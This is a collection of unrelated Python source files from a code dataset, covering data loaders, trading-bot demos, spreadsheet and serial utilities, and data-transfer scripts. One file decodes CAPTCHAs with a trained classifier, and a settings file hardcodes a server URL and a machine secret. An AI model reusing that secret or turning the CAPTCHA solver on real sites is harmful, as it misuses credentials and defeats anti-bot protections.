LOG_DATETIME_FORMAT, LOG_FORMAT, LOG_LEVEL\n\nlogging.basicConfig(\n format=LOG_FORMAT, datefmt=LOG_DATETIME_FORMAT, level=LOG_LEVEL\n)\nlogger = logging.getLogger(\"__file__\")\n\n\nclass MTBGenerator(Dataset):\n def __init__(self, data, tokenizer, dataset: str, max_size: int = None):\n \"\"\"\n Data Generator for Matching the blanks models.\n\n Args:\n data: Dataset containing information about the relations and the\n position of the entities and the dataset.\n tokenizer: Huggingface transformers tokenizer to use\n dataset: Dataset type of the generator. May be train, validation or\n test,\n max_size: Maximum size of the batch.\n \"\"\"\n\n self.entities_pools = [\n ep for ep in data[\"entities_pools\"] if ep[\"set\"] == dataset\n ]\n self.tokenized_relations = data[\"tokenized_relations\"]\n self.n_relations = len(self.tokenized_relations)\n self.all_relation_ids = self.tokenized_relations[\n \"relation_id\"\n ].to_list()\n self.e1_pool = data[\"e1_pool\"]\n self.e2_pool = data[\"e2_pool\"]\n\n self.cls_idx = tokenizer.cls_token_id\n self.sep_idx = tokenizer.sep_token_id\n self.pad_token_id = tokenizer.pad_token_id\n self.mask_idx = tokenizer.mask_token_id\n\n self.blank_idx = tokenizer.convert_tokens_to_ids(\"[BLANK]\")\n\n self.e1_idx = tokenizer.convert_tokens_to_ids(\"[E1]\")\n self.e1e_idx = tokenizer.convert_tokens_to_ids(\"[/E1]\")\n\n self.e2_idx = tokenizer.convert_tokens_to_ids(\"[E2]\")\n self.e2e_idx = tokenizer.convert_tokens_to_ids(\"[/E2]\")\n\n self.max_size = max_size\n\n def __iter__(self):\n \"\"\"\n Create a generator that iterate over the Sequence.\n \"\"\"\n idx = list(range(len(self)))\n random.shuffle(idx)\n yield from (item for item in (self[i] for i in idx)) # noqa: WPS335\n\n def __len__(self):\n return len(self.entities_pools) - 1\n\n def _put_blanks(self, data):\n alpha = 0.7\n r, e1, e2 = data\n blank_e1, blank_e2 = np.random.uniform(0, 1, 2)\n r0, r1, r2 = r\n r0 = np.array(r0)\n if blank_e1 < alpha:\n if r1[1] > r1[0]:\n r0 = np.append(\n np.append(r0[: r1[0]], self.blank_idx), r0[r1[1] + 1 :]\n )\n diff = r1[1] - r1[0]\n r2 = (r2[0] - diff, r2[1] - diff)\n r1 = (r1[0], r1[0])\n else:\n r0[r1[0] : (r1[1] + 1)] = self.blank_idx\n e1 = \"[BLANK]\"\n\n if blank_e2 < alpha:\n if r2[1] > r2[0]:\n r0 = np.append(\n np.append(r0[: r2[0]], self.blank_idx), r0[r2[1] + 1 :]\n )\n r2 = (r2[0], r2[0])\n else:\n r0[r2[0] : (r2[1] + 1)] = self.blank_idx\n e2 = \"[BLANK]\"\n r = (r0, r1, r2)\n return (r, e1, e2)\n\n def _mask_sequence(self, data):\n mask_probability = 0.15\n (x, s1, s2), e1, e2 = data\n forbidden_idxs = set(np.arange(max(s1[0] - 1, 0), s1[1] + 2))\n forbidden_idxs = forbidden_idxs.union(\n set(np.arange(max(s2[0] - 1, 0), s2[1] + 2))\n )\n\n pool_idxs = [i for i in range(len(x)) if i not in forbidden_idxs]\n masked_idxs = np.random.choice(\n pool_idxs,\n size=round(mask_probability * len(pool_idxs)),\n replace=False,\n )\n masked_for_pred = [\n xi for idx, xi in enumerate(x) if (idx in masked_idxs)\n ]\n mask_label = [\n xi if (idx in masked_idxs) else 0 for idx, xi in enumerate(x)\n ]\n sequence = [\n self.mask_idx if mask else token\n for token, mask in zip(x, mask_label)\n ]\n e1_start = s1[0] - 1\n e2_start = s2[0] - 1\n entities_start = np.array([e1_start, e2_start])\n\n return sequence, masked_for_pred, entities_start\n\n def __getitem__(self, pool_id):\n pool = self.entities_pools[pool_id]\n positives = list(pool[\"relation_ids\"])\n n_positives = (\n min(self.max_size, len(positives))\n if self.max_size\n else len(positives)\n )\n pos_idxs = random.sample(positives, n_positives)\n pos_df = self.tokenized_relations.iloc[pos_idxs]\n\n neg_idxs = self._sample_negative_indices(pool, pos_idxs)\n neg_df = self.tokenized_relations.loc[neg_idxs]\n\n batch = []\n batch = self._fill_batch_from_data(batch, pos_df, True)\n batch = self._fill_batch_from_data(batch, neg_df, False)\n\n return self._wrap_batch(batch)\n\n def _fill_batch_from_data(self, batch, data, positive: bool):\n for _idx, row in data.iterrows():\n e1_e2_start, masked_for_pred, x = self._preprocess(row)\n batch.append(\n (\n x,\n masked_for_pred,\n e1_e2_start,\n torch.LongTensor([int(positive)]),\n )\n )\n return batch\n\n def _sample_negative_indices(self, pool, pos_idxs):\n e1 = pool[\"e1\"]\n e2 = pool[\"e2\"]\n e1_represent = set(self.e1_pool[e1])\n e2_represent = set(self.e2_pool[e2])\n e1_negatives = e1_represent.difference(e2_represent)\n e2_negatives = e2_represent.difference(e1_represent)\n neg_idxs = None\n if np.random.uniform() > 0.5:\n if np.random.uniform() > 0.5:\n negatives = e1_negatives\n else:\n negatives = e2_negatives\n n_negatives = (\n min(self.max_size, len(negatives))\n if self.max_size\n else len(negatives)\n )\n neg_idxs = random.sample(negatives, n_negatives)\n if not neg_idxs:\n n_negatives = min(self.max_size, self.n_relations)\n neg_idx = [\n int(self.n_relations * random.random())\n for _ in range(n_negatives)\n ]\n neg_idxs = [self.all_relation_ids[p] for p in neg_idx]\n while any(n in pos_idxs for n in neg_idxs):\n neg_idx = [\n int(self.n_relations * random.random())\n for _ in range(n_negatives)\n ]\n neg_idxs = [self.all_relation_ids[p] for p in neg_idx]\n return neg_idxs\n\n def _wrap_batch(self, batch):\n sequences = [x[0] for x in batch]\n sequences = pad_sequence(\n sequences,\n batch_first=True,\n padding_value=self.pad_token_id,\n )\n mask_for_pred = list(map(lambda x: x[1], batch))\n mask_for_pred = pad_sequence(\n mask_for_pred,\n batch_first=True,\n padding_value=self.pad_token_id,\n )\n e1_e2_start = torch.stack(list(map(lambda x: x[2], batch)))\n labels = torch.stack(list(map(lambda x: x[3], batch)))\n return sequences, mask_for_pred, e1_e2_start, labels\n\n def _preprocess(self, row):\n r, e1, e2, relation_id = row\n r, e1, e2 = self._put_blanks((r, e1, e2))\n x, masked_for_pred, e1_e2_start = self._mask_sequence((r, e1, e2))\n x = torch.LongTensor(x)\n masked_for_pred = torch.LongTensor(masked_for_pred)\n e1_e2_start = torch.tensor(e1_e2_start)\n return e1_e2_start, masked_for_pred, x\n","sub_path":"dataloaders/mtb_data_generator.py","file_name":"mtb_data_generator.py","file_ext":"py","file_size_in_byte":7635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"357620360","text":"#! python3\n# Author: Tomassonn\n\nimport os\nimport sys\nimport openpyxl\nimport sqlite3\nfrom openpyxl import load_workbook\nfrom openpyxl.cell import get_column_letter, column_index_from_string\n\nworkdir = os.getcwd() \nprint (\"Current Working Directory is\", workdir)\ndirs = os.listdir(r'C:\\Users\\Lenovo\\Documents\\GitHub\\expy')\nprint (\"this is directory\", dirs)\n# print (os.getcwdb()) # bytestring representation of working directroy\n\n# GLOBAL VARIABLES:\nfname = input('Enter spreadsheet file name: ')\nwb = load_workbook(fname, read_only=True)\n\n# check the existance of a given file\ndef checkPath(fname):\n if os.path.isfile(fname):\n # openpyxl.load_workbook() function takes the filename\n # and returns a value of the workbook data type\n # wb = openpyxl.load_workbook(fname)\n print (\"entered file type is\", type(wb))\n print (\"=\"*20)\n else:\n print (\"Can not find your file, please try again.\")\n\n# list the sheets\ndef sheets(fname):\n # if checkPath(fname) is True:\n print (\"document\", fname, \"contains these sheets\", (wb.get_sheet_names()))\n # give me active sheet\n print (\"Active sheet is:\", wb.get_active_sheet())\n print (\"=\"*20)\n\n\n# Give me cell values \ndef cellVal(fname):\n # To get a cell value, we must define a Sheet first\n # print (\"These are available Sheets\", wb.get_sheet_names())\n name = input(\"What Sheet you want to work with? \")\n sheetName = wb.get_sheet_by_name(name)\n # data is between\n hiRow = sheetName.get_highest_row()\n print (\"In\", sheetName)\n print (\"last row with value is:\", hiRow)\n hiCol= sheetName.get_highest_column()\n colLetter = get_column_letter(hiCol)\n print (\"and the last column with value is:\", colLetter) \n # show me all cell values\n if input(\"If you want to see the data press 'y' key - \") == 'y':\n #if k == 'y':\n for row in sheetName.rows:\n for cell in row:\n print(cell.value)\n else:\n print (\"closing the shop... bye\")\n\n\ndef doSql(fname):\n if input(\"Do you want to transfer data to SQLite database? - \") == 'y':\n conn = sqlite3.connect('some_sqlite.db')\n cur = conn.cursor()\n fileHandler = open(fname)\n ws = wb.get_active_sheet() # active workbook sheet\n cur.execute('''CREATE TABLE Inventory (\n datetime TEXT,\n fruit TEXT,\n stock INTEGER )''')\n\n cell_range = ws['A1':'C10']\n for cell in cell_range:\n datetime = cell[0].value\n fruit = cell[1].value\n stock = cell[2].value\n print (\"adding row\", datetime, fruit, stock)\n #print(datetime)\n #print(fruit)\n #print(stock)\n cur.execute('''INSERT INTO Inventory(datetime, fruit, stock) \n VALUES (?,?,?)''', (datetime, fruit, stock) )\n else:\n print (\"closing the shop... bye\")\n \n print(\"----- Done -----\")\n conn.commit()\n cur.close()\n fileHandler.close()\n\n\ndef main():\n checkPath(fname)\n sheets(fname)\n cellVal(fname)\n doSql(fname)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"e1.py","file_name":"e1.py","file_ext":"py","file_size_in_byte":3121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"83193362","text":"import os\nfrom flask import Flask\nfrom config import app_config\n\ndef create_app(config_filename):\n app = Flask(__name__)\n\n config_name = os.getenv(\"APPENV\") or \"production\"\n app.config.from_object(\"config.TestingConfig\")\n app.config.from_pyfile(config_filename)\n app.logger.info(app.config)\n\n\n @app.route('/')\n def hello_world():\n return 'Hello, World!'\n \n return app","sub_path":"api/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"257228965","text":"# -*- coding:utf-8 -*-\n\n\"\"\"\nFTX 模块使用演示\n\nAuthor: Moseszhang\nDate: 2019/11/05\nEmail: 8342537@qq.com\n\"\"\"\n\nimport sys\nimport asyncio\n\nfrom quant import const\nfrom quant.error import Error\nfrom quant.utils import tools, logger\nfrom quant.config import config\nfrom quant.market import Market, Kline, Orderbook, Trade, Ticker\nfrom quant.order import Order, Fill, ORDER_ACTION_BUY, ORDER_ACTION_SELL, ORDER_STATUS_FILLED, ORDER_TYPE_MARKET\nfrom quant.position import Position\nfrom quant.asset import Asset\nfrom quant.tasks import LoopRunTask\nfrom quant.gateway import ExchangeGateway\nfrom quant.trader import Trader\nfrom quant.strategy import Strategy\nfrom quant.utils.decorator import async_method_locker\n\n\nclass DemoStrategy(Strategy):\n\n def __init__(self):\n \"\"\" 初始化\n \"\"\"\n super(DemoStrategy, self).__init__()\n \n self.strategy = config.strategy\n \n #=====================================================\n #创建第一个交易接口\n self.platform = config.accounts[0][\"platform\"]\n self.account = config.accounts[0][\"account\"]\n self.access_key = config.accounts[0][\"access_key\"]\n self.secret_key = config.accounts[0][\"secret_key\"]\n target = config.markets[self.platform]\n self.symbols = target[\"symbols\"]\n # 交易模块参数\n params = {\n \"strategy\": self.strategy,\n \"platform\": self.platform,\n \"symbols\": self.symbols,\n \"account\": self.account,\n \"access_key\": self.access_key,\n \"secret_key\": self.secret_key,\n\n \"enable_kline_update\": True,\n \"enable_orderbook_update\": True,\n \"enable_trade_update\": True,\n \"enable_ticker_update\": True,\n \"enable_order_update\": True,\n \"enable_fill_update\": True,\n \"enable_position_update\": True,\n \"enable_asset_update\": True,\n\n \"direct_kline_update\": False,\n \"direct_orderbook_update\": False,\n \"direct_trade_update\": False,\n \"direct_ticker_update\": False\n }\n #self.trader = self.create_gateway(**params)\n \n #=====================================================\n #创建第二个交易接口\n self.platform1 = config.accounts[1][\"platform\"]\n self.account1 = config.accounts[1][\"account\"]\n self.access_key1 = config.accounts[1][\"access_key\"]\n self.secret_key1 = config.accounts[1][\"secret_key\"]\n self.subaccount_name1 = config.accounts[1][\"subaccount_name\"]\n target = config.markets[self.platform1]\n self.symbols1 = target[\"symbols\"]\n # 交易模块参数\n params1 = {\n \"strategy\": self.strategy,\n \"platform\": self.platform1,\n \"symbols\": self.symbols1,\n \"account\": self.account1,\n \"access_key\": self.access_key1,\n \"secret_key\": self.secret_key1,\n \"subaccount_name\": self.subaccount_name1,\n\n \"enable_kline_update\": True,\n \"enable_orderbook_update\": True,\n \"enable_trade_update\": True,\n \"enable_ticker_update\": True,\n \"enable_order_update\": True,\n \"enable_fill_update\": True,\n \"enable_position_update\": True,\n \"enable_asset_update\": True,\n\n \"direct_kline_update\": False,\n \"direct_orderbook_update\": False,\n \"direct_trade_update\": False,\n \"direct_ticker_update\": False\n }\n self.trader1 = self.create_gateway(**params1)\n\n # 注册定时器\n self.enable_timer() # 每隔1秒执行一次回调\n\n async def on_time(self):\n \"\"\" 每秒钟执行一次. 因为是异步并发架构,这个函数执行的时候交易通道链接不一定已经建立好\n \"\"\"\n if not hasattr(self, \"just_once\"):\n self.just_once = 1\n #xx = self.get_orders(self.trader, \"ETH-PERP\")\n xx = self.get_position(self.trader1, \"ETH-PERP\")\n #xx = self.get_assets(self.trader)\n #xx = self.create_order(self.trader1, \"ETH-PERP\", ORDER_ACTION_SELL, \"51\", \"-0.002\")\n #xx = self.create_order(self.trader1, \"ETH-PERP\", ORDER_ACTION_SELL, \"0\", \"-0.002\", ORDER_TYPE_MARKET)\n #xx = self.revoke_order(self.trader, \"ETH-PERP\", \"1017521392\")\n #order1 = Strategy.TOrder(self.trader, \"ETH-PERP\", ORDER_ACTION_SELL, \"351\", \"-0.02\")\n #order2 = Strategy.TOrder(self.trader1, \"ETH-PERP\", ORDER_ACTION_SELL, \"352\", \"-0.03\")\n #xx = self.create_pair_order(order1, order2)\n #xx = self.get_symbol_info(self.trader, \"ETH-PERP\")\n yy, zz = await xx\n \n logger.info(\"on_time ...\", caller=self)\n #new_price = tools.float_to_str(price) # 将价格转换为字符串,保持精度\n\n async def on_init_success_callback(self, success: bool, error: Error, **kwargs):\n \"\"\" 初始化状态通知\n \"\"\"\n logger.info(\"on_init_success_callback:\", success, caller=self)\n\n async def on_kline_update_callback(self, kline: Kline):\n \"\"\" 市场K线更新\n \"\"\"\n logger.info(\"kline:\", kline, caller=self)\n\n @async_method_locker(\"DemoStrategy.can_do_open_close_pos_demo.locker\", False)\n async def can_do_open_close_pos_demo(self):\n \"\"\"\n 开平仓逻辑应该独立放到一个函数里面,并且加上'不等待类型的锁',就像本函数演示的这样.\n 因为为了最大的时效性,框架采用的是异步架构,假如这里还在处理过程中,新的回调通知来了,那样就会\n 引起重复开平仓,所以就把开平仓的过程加上'不等待类型的锁',这样新的回调通知来了,这里又被调用的情况下,\n 因为有'不等待类型的锁',所以会直接跳过(忽略)本函数,这样就不会导致重复执行开平仓的动作.\n 记住这里是'不等待类型的锁'(装饰器第二个参数为False),而不是`等待类型的锁`,因为我们不需要等待,假如等待的话还是会重复开平仓(而且行情也过期了)\n 比如下面模拟要处理3秒,现实中是有可能发生的,比如网络或者交易所繁忙的时候.\n \"\"\"\n await asyncio.sleep(3)\n\n async def on_orderbook_update_callback(self, orderbook: Orderbook):\n \"\"\" 订单薄更新\n \"\"\"\n logger.info(\"orderbook:\", orderbook, caller=self)\n #ask1_price = float(orderbook.asks[0][0]) # 卖一价格\n #bid1_price = float(orderbook.bids[0][0]) # 买一价格\n #self.current_price = (ask1_price + bid1_price) / 2 # 为了方便,这里假设盘口价格为 卖一 和 买一 的平均值\n \"\"\"\n 假设策略在本回调函数里面判断开平仓条件,并且条件达到可以进行开平仓的情况下,最好是把接下来的开平仓逻辑单独\n 放在一个函数里面,并且加上'不等待类型的锁',比如下面这个函数这样.\n \"\"\"\n #if 开平仓条件达到:\n await self.can_do_open_close_pos_demo()\n print(\"##################################\")\n\n async def on_trade_update_callback(self, trade: Trade):\n \"\"\" 市场最新成交更新\n \"\"\"\n logger.info(\"trade:\", trade, caller=self)\n\n async def on_ticker_update_callback(self, ticker: Ticker):\n \"\"\" 市场行情tick更新\n \"\"\"\n logger.info(\"ticker:\", ticker, caller=self)\n\n async def on_order_update_callback(self, order: Order):\n \"\"\" 订单状态更新\n \"\"\"\n logger.info(\"order:\", order, caller=self)\n\n async def on_fill_update_callback(self, fill: Fill):\n \"\"\" 订单成交通知\n \"\"\"\n logger.info(\"fill:\", fill, caller=self)\n\n async def on_position_update_callback(self, position: Position):\n \"\"\" 持仓更新\n \"\"\"\n logger.info(\"position:\", position, caller=self)\n\n async def on_asset_update_callback(self, asset: Asset):\n \"\"\" 账户资产更新\n \"\"\"\n logger.info(\"asset:\", asset, caller=self)\n\n\ndef main():\n if len(sys.argv) > 1:\n config_file = sys.argv[1]\n else:\n config_file = None\n\n from quant.quant import quant\n quant.initialize(config_file)\n DemoStrategy()\n quant.start()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"example/ftx/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"415090542","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np \nimport cv2\n\n\nimg = cv2.imread('home.jpg')\nhsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n\nhist = cv2.calcHist([hsv], [0,1], None, [180, 256], [0, 180, 0, 256])\n\nplt.imshow(hist,interpolation = 'nearest')\nplt.show()\n\n# numpy中的2d直方图\nhist, xbins, ybins = np.histogram2d(h.ravel(),s.ravel(),[180,256],[[0,180],[0,256]])\n","sub_path":"Opencv-Python/ch22/ex02.py","file_name":"ex02.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"323232047","text":"# The MIT License (MIT)\n# Copyright (c) 2014-2017 University of Bristol\n# \n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n# \n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE\n# OR OTHER DEALINGS IN THE SOFTWARE.\n\nfrom hyperstream import TimeInterval, MIN_DATE\nfrom hyperstream.tool import MultiOutputTool\nfrom hyperstream.stream import StreamMetaInstance, AssetStream\nimport logging\nfrom copy import deepcopy\n\n# the development of this tool has not been finished\n\nclass SplitterOfDictFromStream(MultiOutputTool):\n def __init__(self):\n super(SplitterOfDictFromStream, self).__init__()\n\n def _execute(self, source, splitting_stream, interval, output_plate):\n raise NotImplementedError\n # the development of this tool has not been finished\n if splitting_stream is None:\n raise ValueError(\"Splitting stream required for this tool\")\n\n if isinstance(splitting_stream, AssetStream):\n time_interval = TimeInterval(MIN_DATE, interval.end)\n splitter = splitting_stream.window(time_interval, force_calculation=True).last()\n else:\n splitter = splitting_stream.window(interval, force_calculation=True).last()\n\n if not splitter:\n logging.debug(\"No assets found for source {} and splitter {}\"\n .format(source.stream_id, splitting_stream.stream_id))\n return\n\n mapping = splitter.value\n\n for timestamp, value in source.window(interval, force_calculation=True):\n for key in value.keys():\n if key not in mapping:\n logging.warn(\"Unknown value {} for meta data in SplitterOfDictFromStream\".format(key))\n continue\n plate_value = mapping[key]\n yield StreamMetaInstance((timestamp, value[key]), (output_plate.meta_data_id, plate_value))\n","sub_path":"hyperstream/tools/splitter_of_dict_from_stream/2016-12-13_v0.0.1.py","file_name":"2016-12-13_v0.0.1.py","file_ext":"py","file_size_in_byte":2785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"598510155","text":"from sklearn.externals import joblib\nfrom PIL import ImageFilter\nimport numpy as np\n\n\ndef get_binarypix(im):\n img = np.array(im)\n rows, cols = img.shape\n for i in range(rows):\n for j in range(cols):\n if img[i, j] <= 128:\n img[i, j] = 0\n else:\n img[i, j] = 1\n binpix = np.ravel(img)\n return binpix\n\n\ndef segment(im):\n s = 5\n w = 12\n h = 24\n t = 0\n im_new = []\n for i in range(4):\n im1 = im.crop((s + w * i, t, s + w * (i + 1), h))\n # im.crop剪裁图片\n im_new.append(im1)\n return im_new\n\n\ndef img_transfer(im):\n im = im.convert('RGB').filter(ImageFilter.DETAIL)\n im = im.filter(ImageFilter.MedianFilter())\n # 滤镜medianfilter是中值滤波器作用是减少噪声\n im = im.convert('L')\n # convert图像模式转换转为L模式 灰度模式\n return im\n\n\ndef cutPic(name):\n im = img_transfer(name)\n pics = segment(im)\n return pics\n\n\ndef load_predict(name):\n clf = joblib.load(\"train_model.m\")\n predict_value = []\n\n for pic in cutPic(name):\n binpix = get_binarypix(pic).reshape(1, -1)\n predict_value.append(clf.predict(binpix))\n\n predict_value = [str(chr(i)) for i in predict_value]\n # print(\"the CAPTCHA is :\", \"\".join(predict_value))\n return \"\".join(predict_value)\n","sub_path":"CAPTCHA_decode.py","file_name":"CAPTCHA_decode.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"411034345","text":"import sys\n\n# Receiving input from reducer and setting up structures for cleaning\nstandard_input = list(sys.stdin)\nautomobiles = [auto.strip() for auto in standard_input[:16]]\nautomobiles_clean = []\nautomobiles_dict_clean = []\nautomobiles_dict = {}\n\n# Produce clean list of complete vehicle information\nfor auto in automobiles:\n line = auto.strip().strip(\"[]\").split(\",\")\n line[0] = line[0].strip(\"''\")\n for i in range(1, 8):\n line[i] = line[i].strip(\" ''\")\n\n automobiles_clean.append(line)\n\n# Setup dictionary data to be cleaned\nfor auto in standard_input[16:]:\n automobiles_dict_clean.append([auto[:18].strip(), auto[18:].strip()])\n\n# Clean dictionary data\nfor auto in automobiles_dict_clean:\n auto[1] = auto[1].strip(\"[]\").split(\",\")\n auto[1][0] = auto[1][0].strip(\"''\")\n auto[1][1] = auto[1][1].strip(\" ''\")\n auto[1][2] = auto[1][2].strip(\" ''\")\n\n# Setup dictionary after data cleaned\nfor auto in automobiles_dict_clean:\n automobiles_dict[auto[0]] = auto[1]\n\n# Check for accident\ndef is_accident(vin, alist):\n accident_count = 0\n for i in alist:\n if vin == i[2] and i[1] == \"A\":\n accident_count += 1\n \n return accident_count\n\n# Update dictionary with accident information\nfor key in automobiles_dict:\n automobiles_dict[key] += str(is_accident(key, automobiles_clean))\n\n# Passing dictionary to reducer\nfor key, value in automobiles_dict.items():\n print(key, value)","sub_path":"sample/autoinc_mapper2.py","file_name":"autoinc_mapper2.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"588480566","text":"# Copyright European Organization for Nuclear Research (CERN)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# You may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Authors:\n# - Mario Lassnig, , 2013\n# - Jaroslav Guenther, , 2019\n# - Gabriele Gaetano Fronze' , 2020\n\n\"\"\"\nThis submits a transfer to FTS3 via the transfertool.\n\"\"\"\n\nimport sys\nimport os.path\nbase_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(base_path)\nos.chdir(base_path)\n\nimport time # noqa: E402\nfrom pprint import pprint # noqa: E402\n\nimport rucio.transfertool.fts3 # noqa: E402\nfrom rucio.common.utils import generate_uuid # noqa: E402\n\nif __name__ == \"__main__\":\n # token for OAuth 2.0 OIDC authorization scheme is working only with dCache + davs/https protocols (as of September 2019)\n token = ''\n FTS3_TransferTool = rucio.transfertool.fts3.FTS3Transfertool('https://fts3-xdc.cern.ch:8446', token)\n files = [{\"sources\": ['https://dcache-xdc.desy.de/Users/jaroslav/tests/test.txt'],\n \"destinations\": ['https://dcache-xdc.desy.de/Users/jaroslav/tests/test.txt-%s' % generate_uuid()],\n \"verify_checksum\": False,\n \"overwrite\": True,\n \"metadata\": {'request_id': 'jwttest-%s' % generate_uuid()},\n \"activity\": \"Rucio_Test_JWT_Authorisation\"}]\n job_params = {'request_id': generate_uuid()}\n transfer_id = FTS3_TransferTool.submit(files, job_params, timeout=300)\n print(\"transfer_id = \", transfer_id)\n time.sleep(10)\n status = FTS3_TransferTool.bulk_query(transfer_id)\n pprint(status)\n","sub_path":"tools/submit_fts3_transfer.py","file_name":"submit_fts3_transfer.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"553853976","text":"import os\nimport sys\n\n# global configuration\nREUSE_REPO = True\nUPDATE = True\nREMOVE_AFTERWARDS = True\nAUTOMATIC_UPLOAD = False\n\n# default url: master branch\nGIT_URL = 'https://github.com/postgres/postgres.git'\n\n# base path where to clone, install and fetch results\n# parent must exist!\n# also should have non-superuser access\nBASE_PATH = '/tmp/perffarm' \n\nAPI_URL = 'http://140.211.168.111:8080/'\nMACHINE_SECRET = '026c621685b994e6683e09b147b8d3ef'\n\nPOSTGRES_CONFIG = {\n 'shared_buffers': '1GB',\n 'work_mem': '64MB',\n 'maintenance_work_mem': '128MB',\n 'min_wal_size': '2GB',\n 'max_wal_size': '4GB',\n 'log_line_prefix': '%t [%p]: [%l-1] db=%d,user=%u,app=%a,client=%h ',\n 'log_checkpoints': 'on',\n 'log_autovacuum_min_duration': '0',\n 'log_temp_files': '32',\n 'checkpoint_timeout': '30min',\n 'checkpoint_completion_target': '0.9',\n}\n\nDATABASE_NAME = 'perf'\n\n# configuration for PgBench\n# runs - number of repetitions (including test for all client counts)\n# duration - duration (in seconds) of a single benchmark (per client count)\nPGBENCH_CONFIG = {\n 'runs': 3,\n 'duration': 600,\n 'csv': False\n}\n\n# ignore missing file with local config\ntry:\n from settings_local import *\nexcept Exception as e:\n print (sys.stderr, \"ERROR: local configuration (settings_local.py) \" \\\n \"not found\")\n sys.exit(1)\n","sub_path":"client/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"425790856","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Copyright (c) 2015 Jeremie Decock (http://www.jdhp.org)\n\n# Permission to use, copy, modify, and distribute this software for any\n# purpose with or without fee is hereby granted, provided that the above\n# copyright notice and this permission notice appear in all copies.\n\n# THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\nimport argparse\nimport serial\nimport time\n\ndef main():\n\n # PARSE OPTIONS\n\n parser = argparse.ArgumentParser(description='A pyserial snippet.')\n\n parser.add_argument(\"--baudrate\", \"-b\", help=\"The baudrate speed (e.g. 9600)\", metavar=\"INTEGER\", type=int, default=9600)\n parser.add_argument(\"--timeout\", \"-t\", help=\"The timeout value for the connection\", metavar=\"FLOAT\", type=float, default=0.1)\n parser.add_argument(\"--port\", \"-p\", help=\"The serial device to connect with (e.g. '/dev/ttyUSB0' for Unix users)\", metavar=\"STRING\", default=\"/dev/ttyUSB0\")\n args = parser.parse_args()\n\n # CONNECT TO THE SERIAL PORT\n\n serial_connection = serial.Serial(port=args.port,\n baudrate=args.baudrate,\n timeout=args.timeout,\n bytesize=serial.EIGHTBITS,\n parity=serial.PARITY_NONE,\n stopbits=serial.STOPBITS_ONE)\n\n serial_connection.flushInput()\n\n # READ DATA\n\n while(True):\n time.sleep(0.01)\n\n num_bytes_in_read_buffer = serial_connection.inWaiting()\n read_byte_array = serial_connection.read(num_bytes_in_read_buffer)\n if len(read_byte_array) > 0:\n print(read_byte_array)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"python/pyserial/read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"485748998","text":"\nimport numba\nimport numpy as np\n\n\nclass IL:\n def __init__(self, kernel):\n self.kernel = kernel\n\n def train(self, x_train, S_train, lambd):\n \"\"\"\n S_train[i,j] = 1 -> i has label j positive\n S_train[i,j] = -1 -> i has label j negative\n S_train[i,j] = 0 -> no information is given for label j of i\n \"\"\"\n n_train = len(x_train)\n if S_train.dtype == np.bool_:\n phi = np.asfortranarray(S_train, dtype=np.float)\n else:\n phi = S_train\n 